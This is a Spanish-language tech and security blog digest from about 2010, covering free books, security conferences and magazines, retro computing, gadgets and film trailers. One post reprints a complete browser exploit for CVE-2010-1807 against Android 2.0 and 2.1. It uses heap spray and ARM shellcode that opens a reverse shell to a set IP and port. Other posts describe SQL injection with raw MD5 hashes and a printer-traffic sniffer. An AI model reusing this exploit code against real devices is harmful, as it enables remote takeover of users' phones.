El objetivo es crear una animación en HTML5 de 3 minutos de duración donde tienes que enseñar de la manera más original posible las novedades del nuevo Windows Live Mail. En el pasado BlogCamp donde lo pasamos genial, también tuvimos oportunidad de hacer nuestros pinitos con HTML5. Además nos lo ponen fácil, el motor ya nos lo ofrecen así que sólo tenemos que tener algunas nociones de cómo funciona para ponernos manos a la obra.

Hakin9, número de Diciembre, Botnets, Malware, …

Aquí os dejo el índice:

1. A brief analysis of the cyber security threat by Julian Evans
2. Cyber State-Bullying by Matthew Jonkman
3. The Spyware Within You by Rajat Khare
4. The Ear of Sauron by John Aycock
5. dasbot: controlling IRC via bash by Israel Torres
6. Knowing VoIP Part II – Getting deeper to the settings by Winston Santos
7. TDSS botnet – full disclosure. Part II by Andrey Rassokhin and Dmitry Oleksyuk
8. Search Engine Security and Privacy – Part 2 by Rebecca Wynn

La podéis descargar desde aquí.

40 hacks para dormir como un niño chico

Esta guía o ebook, nos proporciona 40 hacks o formas de sacarle el máximo partido a nuestras horas de sueño. Algunas son de sentido común y otras muy curiosas, como la de guardar un diario de los sueños (yo como que nunca me acuerdo de lo que he soñado) o la de crear tu propio mp3 para la siesta (un podcast aburrido también ayuda :-)) y sobre todo la sección de soñar y creatividad.

Este es el índice del libro:

Material de la Ruxcon 2010

Pues como dice el título, ya están disponible para descarga las presentaciones de la Ruxcon 2010. Aunque no están todas las presentaciones y no hay vídeos tampoco. No sé subirán las que faltan y/o si en algún momento subirán algún vídeo.

Está conferencia se celebró los pasados 20 y 21 de Noviembre en Melbourne.

A continuación os dejo las charlas de las que han subido su presentación con su correspondiente enlace al documento. (Que mal acostumbrado te tengo Newlog!)

Escucha el kernel de Linux

Linux.fm es una web que aleatoriamente selecciona un módulo de la versión actual del kernel de Linux y usando eSpeak, un sintetizador de voz de código abierto, lee el código fuente del fichero o módulo seleccionado.

Visto en Slashdot

Cinco editores de vídeo de código abierto

1.- Kdenlive Este editor corre sobre GNU/Linux y FreeBSD. Nos permite editar los formatos DV, AVCHD y HDV. Se apoya en otras herramientas libres como: FFmpeg, MTL y Frei0r effects.

2.- Cinelerra Éste quizás sea uno de los editores más consolidados y conocidos en entornos libres. Es una aplicación completa y con una interminable lista de características que nos convierte nuestro escritorio en un completo estudio de audio y vídeo.

Emu8080, primer emulador de 8080 escrito en …

Emu8080, el primer emulador de 8080 escrito en javascript y HTML5, capaz de emular la disquetera, lector/escritor de tarjetas perforadas, impresora y un terminal VT100.

Emula una máquina CP/M completa. Aprovechando la tecnología que nos brinda el nuevo HTML5, usa WebSQL para emular dispositivos de almacenamiento de bloques, podemos montar dispositivos de cintas virtuales arrastrando  ficheros de nuestro escritorio, etc.

El hecho de use HTML5, requiere que usemos un navegador que soporte dicha especificación. Ellos recomiendan Chrome o Safari.

Inyección de SQL con raw MD5 hashes

Acabo de leer en este post, sobre esta nueva técnica, al menos nueva para mi, sobre la inyección de código SQL usando raw MD5 hashes.

Normalmente la autentificación (más común y sencilla) de un usuario en una aplicación web, suele lanzar una query de este tipo:

SELECT usuario FROM usuarios WHERE password = (hash del password)

Es decir, una vez hayamos introducido los credenciales, lo que realmente comparamos con “password” es su hash, porque tu no guardas los passwords en texto plano, ¡a qué no! (Nota, hoy en día el uso de MD5 no se aconseja).

Esnifando el tráfico de impresoras

prn-2-me (print to me) es un script escrito en python, por Chris John Riley, que podemos correr para que actúe como un "proxy" el cual nos permite esnifar y guardar los trabajos PCL y PostScript enviados a imprimir.

Un par de cosas que aclarar:

1.- Digo proxy, porque este script, además de guardar la trabajo de impresión, es capaz de redireccionar dicho trabajo a una impresora real. Todo lo que necesitamos saber es la IP y el puerto de dicha impresora y aquí no ha pasado nada :-)

Las 100 mejores naves espaciales de películas

 

(Número 100 de la lista, Delta Pod, del remake de "El Planeta de los Simios", (C) 20th Century Fox)

Ya hemos visto algunas recopilaciones sobre este tema pero realmente esta es la mejor de todas. Se nota que cada nave ha sido escogida con muy buen criterio, desde la 100 hasta la 1 (pulsa aquí si quieres saber cuál es la número 1), además está actualizada hasta el día de hoy. Si pulsas en cada imágen, te ofrece alguna información sobre la misma.

Genial.

WORDS

Cuando creas tener un déjà vu piensa dos cosas: una, que la vida es cíclica así que no estas loco y dos, intentar hacerlo mejor a la siguiente vuelta :-)

Impresionante fotografía.

Realización Everynone

Link

Domingo de frío por la mañana, "A Darkness Rises …

Broken Records.

Más libros gratuitos sobre el ZX Spectrum

 A raíz de encontrar el fantástico libro "ZX Spectrum Book - 1982 to 199x" en la estupenda web WorldOfSpectrum (donde tienes todo lo que necesites para revivir esos fantásticos años), he visto una sección de libros realmente espectacular.

En la lista hay títulos que tienen un asterisco (*), eso significa que se encuentran disponibles en PDF para su libre descarga (son más de la mitad de todos ellos). Los hay en varios idiomas, también en español como por ejemplo este curioso  “Bugaboo, un hito en la historia del software español”.

Las nuevas e inesperadas aventuras de Enjuto …

 

Movistar patrocina estas nuevas aventuras de Enjuto Mojamuto creadas por Joaquín Reyes. Con ayuda de la conexión a Internet del USB, Enjuto se atreve a salir a la calle para vivir nuevas aventuras.

No te los pierdas, son 28 capítulos de corta duración que seguro que harán pasar un buen rato.

Web oficial.

Videos en Youtube.

Libro gratuito, "ZX Spectrum Book - 1982 to 199x"

Fantástico libro (yo diría que es una joya para coleccionistas) que a todos los que tuvimos un Spectrum nos hará recordar buenos momentos. Tiene 258 páginas a todo color llenas de fastástica información sobre la máquina de Sir Clive Sinclair (por cierto, él mismo hace la introducción del libro).

La maquetación es estupenda y nos muestra un repaso de los juegos más significativos de la era Sinclair.

Rea tiene una atmósfera de oxígeno y dióxido de …

En Marzo de este año, la sonda Cassini confirmó algo que ya se sospechaba hace años, algo pasaba alrededor de Rea que causaba una extraña simetría en las partículas cargadas en el entorno de la luna. Y ese algo era una atmósfera de oxígeno y dióxido de carbono.

La fuente del oxígeno está más o menos clara, ya que la luna está compuesta mayormente de hielo, la tenue atmósfera se mantiene gracias a la descomposición química del hielo provocada por la irradiación de la magnetosfera de  Saturno.

77 superheroes en formato minimalista …

Creados por el artista Fabian Glez.

¿Eres capaz de identificarlos a todos? (respuesta aquí).

Visto en io9.

A pocos metros del Lago Vostok

El lago Vostok de la Antártida es el último resquicio virgen que existe sobre la tierra. Sus aguas están separadas del exterior por una capa de hielo de 4 Km de espesor 8O y está considerada como la más pura y antigua del planeta ya que ha permanecido oculta durante 1 millón de años. En caso de que exista vida es de suponer que su forma será  realmente singular ya que, además de soportar el frío extremo y la presión del hielo, el agua conserva una concentración 50 veces superior de oxígeno, lo que dificulta mucho la vida. Por este motivo se deben tomar medidas especiales para evitar la contaminación de agentes exteriores. La primera sonda "cryobot" realiza dos procesos: abre camino taladrando hacia abajo y, segundo, va cerrando el camino que ha abierto en el hielo. Justo antes de acceder al lago realizará un autolavado eliminando cualquier agente biológico y químico. A partir de entonces un mini-submarino sonda "hydrobot" comenzará a trasmitir los datos y jamás volverá a la superficie. La misión del hydrobot es la búsqueda de existencia de vida en las aguas de lago, utilizando una cámara de vídeo y otros instrumentos de medición.

Otra revista gratuita para la colección, Games …

Esta vez la revista gratuita en castellano es Games Tribune, dedicada a los videojuegos.

En ella escriben algunos de los componentes del fantástico podcast sobre videojuegos GameOver.

Puedes verla online o descargarla en PDF desde aquí (número de Noviembre).

No os perdáis tampoco el blog para estar al día sobre nuevos lanzamientos y reviews de juegos.

Desde aquí, de nuevo gracias a los autores por el tremendo esfuerzo de editar una revista con esta calidad y además de forma gratuita.

Qué hacen los monstruos y los villanos en …

Pues disfrutar como todos, sino fijaos es esta colección de imágenes:

Monsters on holidays!

Yo me quedo con estas:

Visto en The Awesomer.

TIME: El espejo semitraslúcido (DSLR) como mejor …

La principal diferencia entre el espejo móvil y el semitraslúcido es que este último hace que no sea necesario el mecanismo que tapa y destapa el sensor, con el consecuente ahorro de tiempo y energía a la hora de tomar la fotografía, así como disminuir el peso y tamaño final de la reflex. Últimamente los ingenieros de Sony han innovado mucho en este apartado, no tanto en otros que ahora hablaré, y han conseguido algo que es realmente avanzado y práctico en este mundillo que ya estaba saturado de megapíxeles y de compactas reconvertidas.

Apple I vendido por 210.700 dólares (158.000 …

Digamos que se ha vendido por 425 veces su precio original. Este Apple Ies uno de los 200 que el gran Steve Wozniak montó en el garaje de Steve Jobs. Se ha vendido en una subasta de Christie por ese precio, 158.000 euros. Se vendía originalmente por 666,66 dólares (este precio lo marcó Wozniak porque le gustaban estos números) y se vendió en 1979.

El kit no incluye pantalla, fuente de alimentación ni teclado. Sólo la placa con el circuito y una ampliación de 8Kbytes. Eso sí, la caja de embalaje es la original y también una carta firmada por Steve Jobs.

9 características que podemos esperar en …

Gingerbread es el nombre en clave de la próxima versión de Android, versión 2.3. Como siempre hay muchas especulaciones sobre las novedades que se añadirán o las que no.

Aunque Google o ninguna de las empresas detrás de Android se han pronunciado de forma oficial, parece que ya hay algunas de estas funcionalidades que han sido filtradas por fuentes anónimas.

A continuación os listo 9 de las nuevas características o especulaciones con más peso que esta nueva versión traerá:

UFOCAM en la Ciudad de las Artes y las Ciencias de …

Aerorobotica es una empresa madrileña que se dedica a la realización y montaje de escenas aéreas, ya sean exteriores e interiores. Para realizar esta tarea tienen a su disposición varios modelos de robots helicópteros dependiendo de si la filmación requiere de alta definición o sólo fotografía.

Por 350 € podría ser tuyo en juguetronica (temporalmente agotado). El modelo que aparece en el video es el básico y posee 4 motores con la capacidad de volar con alta estabilidad y transportar pesos de más de 200g. Tiene 3 giróscopos instalados y un potente microprocesador Atmel que permite diferentes tipos de ajustes de sensibilidad independientes en sus 3 ejes de control para los pilotos mas exigentes. Autonomía de hasta 28min. Las imágenes mostradas son del prototipo e incluyen carcasa externa de protección (octógono externo) y kit de luces, estos accesorios son opcionales, no están incluidos en esta versión.

El Facebook nos cambió la vida

Visto en UbuntuLife

Smartlcd, añadiendo una pantalla a nuestros …

 

Existen muchos dispositivos (cámaras, MP3, etc) que tienen una pantalla (display) muy interesantes y reutilizables para otros proyectos. En este artículo el autor habla en particular sobre dos de sus favoritos: el display del iPod Nano 2G y otro llamado “el display TFT más barato del mundo” (él lo llama smartlcd). Es muy interesante ya que te explica qué tipo de interface (patillaje incluido) utiliza para su conexión con nuestro circuito y la forma de comunicarnos con él. 

Introducción a la recogida de datos

Ya está el pesado de los libros. Sí y ¿Qué? :-)

Éste tiene muy buena pinta. Nos hace una introducción al estudio de la recogida y clasificación de datos. Empezando por la explicación de términos que se usan en este campo, clasificación de los datos, puntuación de la información, ¿Alguien dijo PageRank?, no digo que describan este algoritmo, el tesoro mejor guardado de Google, división de datos, etc. Terminando con un capítulo dedicado al web crawling (araña web).

Tratado de paz entre los Angry Birds y los Smarmy …

 

Angry Birds es uno de los mejores juegos que he visto tanto para iPhone como para Android, si no lo conoces te aconsejo que instales para pasar un buen rato.

Este video muestra un intento de tratado de paz entre los Angry Birds (pájaros enfadados) y los Smarmy Pigs (cerdos zalameros).

Pero parece que no es tan fácil …

El segundo es un trailer “in-game” del juego.

Colección de vídeos sobre seguridad

En la web de securitytube, de la que ya hablamos aquí, han creado una página web dónde han recogido una serie de vídeos orientados a la seguridad.

Este es el índice de las colecciones de vídeos:

1. Assembly Language Primer for Hackers Series (Linux)
2. Buffer Overflow Primer for Hackers Series
3. Format String Vulnerability Series
4. Metasploit Megaprimer Series
5. Windows Assembly Language Primer
6. Scenario Based Hacking
7. Router Hacking Series

Web original

Aprende Python jugando

O más bien podría decir: Aprende Python creando tus propios juegos.

Ivent your own computer games with Python, es un libro que te enseña a programar en Python creando tus propios juegos. En cada capítulo del libro se trata un tema diferente y se crea un juego nuevo.

Este es su índice:

Chapter 1 - Installing Python

Chapter 2 - The Interactive Shell

Chapter 3 - Strings

Chapter 4 - Guess the Number

Chapter 5 - Jokes

Chapter 6 - Dragon Realm

Chapter 7 - Using the Debugger (new!)

Chapter 8 - Flow Charts

Chapter 9 - Hangman

Chapter 10 - Tic Tac Toe

Chapter 11 - Bagels

Chapter 12 - Cartesian Coordinates

Chapter 13 - Sonar

Chapter 14 - Caesar Cipher

Chapter 15 - Reversi

Chapter 16 - AI Simulation

Chapter 17 - Graphics and Animation

Chapter 18 - Collision Detection and Input

Chapter 19 - Sound and Images

Chapter 20 - Dodger

Appendix A - Differences between Python 2 and 3

Appendix B - Statements, Functions, and Methods Reference

Appendix C - Running Python Programs Without Python Installed

Appendix D - Common Error Messages in Python

Puedes comprar la copia impresa del mismo o bajarte la versión electrónica y gratuita en formato PDF. También puedes ojearlo online en formato HTML.

Una forma muy amena para aprender algo de Python.

Un lunes especial necesita una canción ...

Hoy parece que el sol ha salido especialmente brillante en Valencia…

He pasado por unos meses un poco complicados de salud (nada importante pero algo incómodos) pero ya está todo resuelto.

Desde aquí queria agradecer a todos mis amigos vuestro ánimo y sobre todo a una persona muy especial en mi vida (ella sabe perfectamente quién es)

Pues nada, ahora a seguir posteando  :)

Lettering interactivo con Overtype de Wacom

Ya tengo entre mis manos la flamante tableta Bamboo Pen & Touch de Wacom. El ratón ha muerto definitivamente para mí después de probar las miles de posibilidades que tiene esta digitalizadora. El nuevo sistema multi-touch hace que mi Logitech MX Revolution, uno de los ratones más personalizables y caros del mercado, palidezca de envidia. Todo diseñador gráfico debe aprender a manejar una tableta digitalizadora tarde o temprano y enfrentarse a los retos que supone "la mano alzada" ya que las posibilidades se multiplican por mil. Es en este terreno donde los artistas plásticos y de papel encuentran un vínculo con el mundo virtual, un amigo cómplice que le ayudará a superar las barreras del mundo digital.

Aprende japonés con Minxy:

-

Ya nunca olvidaré lo que significa Undousuru ^_^

Canal Youtube Hannah Minx 花°ミンクス

Link El jueves, como no.

Otra canción para soñar un domingo por la mañana, …

No tengo palabras, es impresionante…

Yndi Halda

El increible tamaño de Internet (gráfico)

Visto en Theroxor.

Cómo instalar Android en un iPhone (también dual …

Esto puede que sea un sacrilegio para los fan-boys de Apple, de todas formas en LifeHacker nos muestran este tutorial para instalar en seis pasos un sistema dual Android / iOS en tu iPhone.

Estos son los seis pasos:

1. Jailbreak a tu iPhone: tienes muchas opciones como PwnageTool, Redsnow, Blackrain, etc. Como estos métodos cambian muy rápido, mejor que busques en la red el último método para hacerlo.
2. Instalar Bootlace en Cydia: lanza Cydia y pulsa en el botón "Manage", selecciona "Sources", "Edit" y luego "Add". El repositorio que tienes que añadir es repo.neonkoala.co.uk. Marca "Add source", pulsa en el nuevo repositorio e instala Bootlace.
3. Ejecuta Bootlace: si no aparece Bootlace en la pantalla principal, reinicia el iPhone y aparecerá. Luego sólo tienes que ejecutarlo y dejarlo que actualice el kernel. Luego pulsa en "Reboot".
4. Instala OpeniBoot: ejecuta de nuevo Bootlace y pulsa en el botón "OpeniBoot", luego "Install" y "Continue".
5. Instala iDroid: una vez insatlado OpeniBoot, pulsa en el botón iDroid y luego "Install", se descargará y se instalará. Tomará un rato, ten paciencia (un consejo, es mejor tener conectado el iPhone a la red).
6. Reinicia y prueba tu Android: una vez instalado pulsa en "QuickBoot" de Bootlace, pulsa en el icono "Android" y confirma que quieres reiniciar con sistema Android.

Ya tengo un motivo para comprarme un iPhone }:)

Cowboys & Aliens, trailer

Inquietante mezcla, pero no tiene mala pinta.

Se estrena en 2011.

Visto en GeeksAreSexy.

¡Cuidado! Llega Kinect

En este post decía que ir por las azoteas viendo realidad aumentada en tu móvil puede acabar mal. Ahora también lo digo porque jugar en un salón minúsculo con realidad virtual puede ser traumático. Estas navidades se van a llenar los hospitales. :-)

Link

The Linux Programming Interface

Ya puedes comprar este libro en tu tienda favorita, bueno a lo mejor no en la favorita, pero Amazon o Barnes&Noble por ejemplo lo tienen.

Este libro es una guía detallada sobre la interfaz que el sistema expone al programador. O dicho de otra forma, es la API de Linux.

Aunque éste, esté orientado más al programador, es totalmente válido para aquellos que quieran saber como funciona un SO Linux o Unix de forma interna. Como se manejan los procesos, memoria, ficheros, permisos, etc.

Concurso en la TV del futuro

Gracias a la decidida apuesta del gobierno español por la educación y la ciencia, dentro de unos años gracias a la sociedad del conocimiento creada podremos disfrutar de concursos en la TV como este que pongo a continuación.

:-)

Gracias Carlos.

Comienza EBE 10, el gran evento de la web social

-

EBE se celebra este fin de semana (19, 20 y 21) en La Isla de la Cartuja, Sevilla y es el evento de referencia para los amantes y profesionales de la web. Este año celebra su 5º aniversario y asistirán 2.500 personas. Sus temas: innovación en la web pasando por productividad en la empresa, gestión del conocimiento, sostenibilidad… cualquier tema que implique procesos de innovación y cambios en lo social.

Ingeniería inversa de dispositivos USB

Estupendo artículo el que han publicado en ladyada.net sobre como hacer ingeniería inversa en dispositivos USB.

El artículo está lleno de pantallazos y explicaciones, así que es muy fácil de seguir y se usa como ejemplo el motor Kinect de la Xbox.

Muy educativo.

Visto en hackaday.

Phrack 67

Calentita, calentita. Acaba de ser lanzado el último número, 67, de esta ezine. Considerada posiblemente la mejor revista underground.

Aquí tenéis el índice de este número:

Introduction Phrack Prophile on Punk Phrack World News Loopback (is back) How to make it in Prison Kernel instrumentation using kprobes ProFTPD with mod_sql pre-authentication, remote root heap overflow The House Of Lore: Reloaded ptmalloc v2 & v3: Analysis & Corruption A Eulogy For Format Strings Dynamic Program Analysis And Software Exploitation Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS Phrackerz: Two Tales Scraps of notes on remote stack overflow exploitation Notes Concerning The Security, Design and Administration of Siemens DCO-CS Hacking the mind for fun and profit International Scenes

Análisis forense en terminales iPhone

viaForensics ha publicado un documento a través del cual puedes realizar un análisis forense en terminales iPhone.

El documento trata de explicar el procedimiento forense a seguir para la adquisición y análisis de los datos. Para ello se usan varias herramientas e incluso distintos entornos, dependiendo de los requisitos de cada herramienta.

En cada apartado no sólo te muestra el uso de dichas herramientas, sino también te guía a través de la instalación de las mismas y la funcionalidad que provee cada una.

Supersonic Stick, un magnífico gadget para …

El aparato consta de un sistema de rastreo por ultrasonidos que le indica al invidente, mediante una vibración y/o sonido, cual es la distancia al objeto que tiene delante. Esto podría ayudar a eliminar el tedioso bastón, que requiere de horas de entrenamiento, y a ampliar el "rango de percepción" facilitando la vida a muchas personas con esta discapacidad. Su diseñador es Minhye Kim y aún no tiene precio estipulado.

Oficina de casa de Steve Jobs

Se ve que también se lleva la sencillez a casa. Más fotos aquí.

Nook a color, primer vistazo

 

En CNet nos ponen los dientes largos con esta demostración del nuevo Nook a todo color.  Lleva pantalla a color de 7" táctil y una resolución de 1024x600, 8GB en tarjeta MicroSD, soporte para casi todos los formatos de ficheros para ebook (menos el de Amazon), batería con duración de 8 horas de lectura contínua (sin Wifi activada), etc.

Ya se está enviado a los compradores que hicieron la reserva. En Cnet comentan que quizás necesita más aplicaciones pero que está justo entre un lector de libros electrónicos y el iPad.

El bigote marca la diferencia ...

 

Sí que cambia nuestro amigo Mario ;) , si quieres ver otros ejemplos pulsa aquí.

Visto en Neatorama.

Diseño de patrones en Javascript y jQuery

Este mes vamos a llenar nuestra librería, al menos en la sección de programación :-)

Esta vez es un libro sobre el diseño de patrones de en Javascript y jQuery. Una de las mezclas más explosivas en aplicaciones web.

Su descarga es gratuita. Lo podéis leer online en formato HTML o PDF.

Este es el índice del mismo:

• What is a Pattern?
• 'Pattern'-ity Testing, Proto-Patterns & The Rule Of Three
• The Structure Of A Design Pattern
• Writing Design Patterns
• Anti-Patterns
• Categories Of Design Pattern
• Design Patterns in jQuery
  • Lazy Initialization
  • Composite Pattern
  • Wrapper Pattern
  • Facade Pattern
  • Observer Pattern
  • Iterator Pattern
  • Strategy Pattern
  • Proxy Pattern
  • Builder Pattern
  • Prototype Patern
  • Flyweight Pattern
• Design Patterns in JavaScript
  • Creational Pattern
  • Constructor Pattern
  • Singleton Pattern
  • Module Pattern
  • Revealing Module Pattern
  • Prototype Pattern
  • DRY Pattern
  • Facade Pattern
  • Factory Pattern
  • Decorator Pattern
• Conclusions
• References

The pragmatic magazine

The Pragmatic Bookshelf, famosa por sus libros de la serie "The pragamatic...", publican de forma mensual The Pragmatic Magazine. Una revista, que a juzgar por los libros de esta editorial, no tienen desperdicio.

Personalmente no he leído ninguna de las revistas todavía, pero sí que me leído alguno de sus libros, tales como The Pragmatic Programmer (altamente recomendable para cualquier programador) o Mastering Dojo.

La revista es totalmente gratuita y además dispones de varias versiones: HTML, PDF, EPUB y MOBI.

Nuevo juego RPG para Commodore 64: Newcomer

Es el RPG más grande jamás hecho para este sistema: más de doscientas horas de juego, 50 áreas, más de 100 escenas de juego, 180 mil palabras y 180 personajes 8O. Han tardado la friolera de 20 años en hacerlo pero dicen que superará a la saga Bard's Tale o The Magic Candle. Amnesia, asesinatos, animales salvajes y una isla-prisión componen la trama de este juego.

Pastillas contra el dolor ajeno

Nueva campaña de Médicos Sin Fronteras para acercar un poco más a la sociedad "desarrollada" el drama que sufren personas cuyas enfermedades podrían ser curadas, pero no es así por falta de medios y despreocupación.

Personalmente me parece una buena idea para concienciarnos y ayudar con nuestro granito de arena.

Tunea un segway para ir el doble de rápido

Reconstruye un segway para alcanzar los 40 Km/h. Parece que hay que ser más cuidadoso con los giros y más preciso a la hora de acelerar o frenar pero gana en agilidad. Desde luego ahora lo veo con otros ojos... :-P

Segway oficial

Link

Como empezar en el análisis de malware

En esta entrada escrita por Lenny Zeltser intenta hacer una pequeña introducción para aquellos que se quieran adentrar en el análisis de malware, dónde recopila una serie de recursos online donde puedes empezar a leer y practicar. También nos recomienda algunos libros, así como varios foros sobre el tema. Y por supuesto le da un poco de publicidad al curso que él mismo imparte en SANS (éste no es gratuito, pero si de verdad que te quieres convertir en un profesional no tengo duda alguna en que merece la pena).

Visto en el blog del autor.

KamasuTron

Claro, si no podía faltar la versión pr0n de Tron, tampoco iba a faltar la versión Kamasutra de la misma, KamasuTron.

Tlaloque I, el nuevo robot que se apunta a la …

Ya hemos comentado aquí, en Cyberhades, algunos proyectos de robótica como el del Upuaut 2 destinados a encontrar y documentar los secretos de la Gran Pirámide de Keops. Este  proyecto es muy similar pero localizado en Méjico, más concretamente en Teotihuacán: “Lugar donde fueron hechos los dioses; ciudad de los dioses”. Tlaloque significa “ayudante del Dios Tlaloc” pero este robot más que ayudar a este dios lo está haciendo a la INAH (Instituto Nacional de Antropología e Historia) que pretenden llegar a las tumbas de los antiguos gobernantes de esta ciudad dentro del Templo de la Serpiente Emplumada. El túnel fue descubierto en 2003, cuando se formó una oquedad provocada por las lluvias, justo frente a la pirámide de Quetzalcóatl. Hace un año comenzó la investigación y fue el pasado agosto cuando los arqueólogos localizaron la entrada del túnel, a 12 metros de profundidad.

Exploit contra webkit en Android 2.0 y 2.1

A continuación os dejo el listado del exploit, en este caso mejorado, que se difundió la semana pasada. El fallo se encuentra en el navegador que acompaña a Android, webkit. La versión 2.2 está libre de pecado, de momento...

<html>
<head>
<script>
//This code is only for security researches/teaching purposes,use at your own risk!
// bug   =  webkit remote code execution CVE-2010-1807 

   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807

//patched=  android 2.2, some said it works on some devices with 2.2.
//originally noticed/written by mj(good job man!)
//new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - 

   http://imthezuk.blogspot.com

var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
//var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2
function trigger()
{
var span = document.createElement(“div”);
document.getElementById(“BodyID”).appendChild(span);
span.innerHTML = -parseFloat(“NAN(ffffe00572c60)”); //trigger use-after-free
}
function exploit()
{
var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping
do
{
nop+=nop;
} while (nop.length<=0x1000);
var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
scode += port;
scode += ip;
scode += unescape("\u2000\u2000");
target = new Array();
for(i = 0; i < 0x1000; i++)
target[i] = scode;
for (i = 0; i <= 0x1000; i++)
{
document.write(target[i]+"<i>");
if (i>0x999)
{
trigger();
}
}
}
</script>
</head>
<body id=“BodyID”>
Enjoy!
<script>
exploit();
</script>
</body>
</html>

Material de la SecTor 2010 disponible

SecTor es otra de las tantas conferencias sobre seguridad que se celebran alrededor del mundo, en este caso en Toronto (Canadá). La edición de este año se celebró los días 25 y 26 de Octubre. Las charlas tienen muy buena pinta y a juzgar por alguno de los conferenciantes, seguro que merecen la pena echarles un vistazo.

A continuación os copio el índice de las charlas:

Nuevo récord mundial resolviendo el cubo de Rubik

La hipotética viajera del tiempo captada en una …

Fijaos en el video, aparece una mujer en esta película de 1928 (llamada “El Circo” y dirigida y protagonizada por Charles Chaplin) andando y hablando por lo que parece ser un teléfono móvil:

Es bastante desconcertante ya que en esa época había pocos aparatos electrónicos y menos de ese tamaño. Por eso le han dado el nombre de viajera del tiempo, ya que es la única explicación a priori ¿o no? …

"Pron", la película porno de Tron, ya tardaba ...

 

Pues sí, antes de estrenar nuestro querida Tron Legacy ya casi está disponible una parodia en versión porno protagonizada por la actriz Zoe Voss.

Vía GammaSquad.

Domingo, FM Belfast: Par Avion, después de una …

Perfecta para una noche de marcha por Valencia con Elen, MariB, Li y Cybercaronte …

Genial, FM Belfast.

Sábado noche: "Vadrum"

Este sábado por la noche, os dejo una espectacular “cover” de batería de “El Barbero de Sevilla”, interpretada por Andrea Vadrucci “Vadrum”.

Francamente deja boquiabierto (al menos a mí)  la soltura y gracia que le echa. Eso sí, también le debe haber echado unas cuantas horas de ensayo.

No dejéis de ver sus otros cover en Youtube, no tienen desperdicio…

\m/_

Foto de un Airbus A380 y las pirámides de Guiza

 

Espectacular, 4.500 años de diferencia entre la tecnología del Airbus y las pirámides.

Visto en nuestra querida web de Microsiervos

Por fin, MAKE en PDF

 

La espectacular revista MAKE de proyectos electrónicos ya está disponible en PDF. Puedes comprar cada uno (hay 24 números) al precio de aproximadamente 7€. También tienen una oferta donde puedes conseguir los 24 números hasta el día de hoy y dos especiales por 145€.

Por supuesto, no tienen DRM.

Visto en BoingBoing.

Hacks para IM-Me de Girl Tech

¿Qué no sabes lo que es el IM-Me?, no estás al loro colega ;) , mira este video:

Pues sí, esto es el IM-Me, un dispositivo con el que puedes chatear (IM = Instant Message) en cualquier parte de la casa (WiFi) que soporta hasa 6 sesiones de chat.

Pues como le ocurre a cualquier dispositivo electrónico, ya hay hackers dando una nueva vida a estos aparatitos. Hay muchos hacks como aquí donde se desensambla y se analiza el código del IM-Me, este otro es un proyecto para crear un potente control remoto, y el mejor de todo, este juego tipo Roguelike que también funciona en Linux con su código fuente disponible y todo:

Construyen un hotel en 48 horas... sólo podían ser …

Y con nivel 9 de resistencia a terremotos.

46 horas para la construcción y 90 horas más para terminarlo. He contado hasta 9 gruas trabajando a la vez 8O A mi me recuerda a los momentos, en un juego de estrategia, en que pones a varios trabajadores a construir un mismo edificio para ser más rápido que tu contrincante.

Link

Trailer, BLINKYtm

BLINKYtm Teaser HD from Ruairi Robinson on Vimeo.

 

BLINKYtm

Microhistorias: Star Trek II, Industrial Light and …

 

(Foto: Alvy Ray y Ed Catmull, (C) Triad Publishing 2005)

Ya os habréis dado cuenta que estas Microhistorias contienen anécdotas del mundo de la informática que no son muy conocidas. Esta es una de ellas y está relacionado con la Industrial Light and Magic que luego se llamaría Pixar. Esta entrada se la dedico a mi colega Okajey.

Antes de nada hay que presentar a dos grandes de los gráficos por ordenador, Alvy Ray y Ed Catmull. Ambos trabajaban en el rancho de George Lucas en la división de efectos especiales pero usando una nueva herramienta, el ordenador. George Lucas los contrató básicamente para retocar y mejorar digitalmente las películas de La Guerra de las Galaxias. Empezando por este proyecto, tanto Alvy como Ed se pusieron manos a la obra. Tenían que crear todas las herramientas desde cero, incluso el hardware, que en esa época no había mucho donde elegir y el software. Por cierto, estaban coqueteando con un ordenador llamado NeXT, una estación de trabajo creada por la compañía del mismo nombre creada por … ¡Oh no otra vez él! Pues sí, Steve Jobs (no será la primera vez que aparezca en esta historia).

Tercer trailer oficial de Tron Legacy

Tron Legacy, ya queda menos, el 17 de Diciembre en España.

El futuro ha llegado: Hatsune Miku es una Rock …

-

En Star Wars muchos nos quedamos anonadados con aquella escena en la que salía un rayo holográfico de R2-D2 y la princesa Leia decía aquello de:  "Ayúdame, Obi-Wan-Kenobi, eres mi única esperanza". En aquellos momentos nos preguntábamos si viviríamos para ver algo semejante, pues bien, aquí está y mejor.

Ella se llama Hatsune Miku y es una cantante virtual que causa furor en Japón. La empresa creadora es Crypton Future Media (site japones) y su voz está generada con el famoso Vocaloid synthesizing technology de Yamaha, el mejor del mundo.

Más libros gratuitos para la colección

En este caso son 3 libros sobre programación.

1.- The design of approximation algorithms.

En este libro podemos encontrar mucha teoría sobre el desarrollo de algoritmos de aproximación. El objetivo de éstos son el encontrar soluciones aproximadas a un problema dado. Un ejemplo muy claro: un búsqueda.

2.- Up and Running With Node.js

Este libro está ahora mismo en fase de desarrollo y como habrás podido imaginar, trata sobre como programar con Node.js. Como digo, está en una versión alpha, pero según al autor irá liberando el contenido del mismo a medida que vaya avanzando.

Programación de juegos en Javascript usando el …

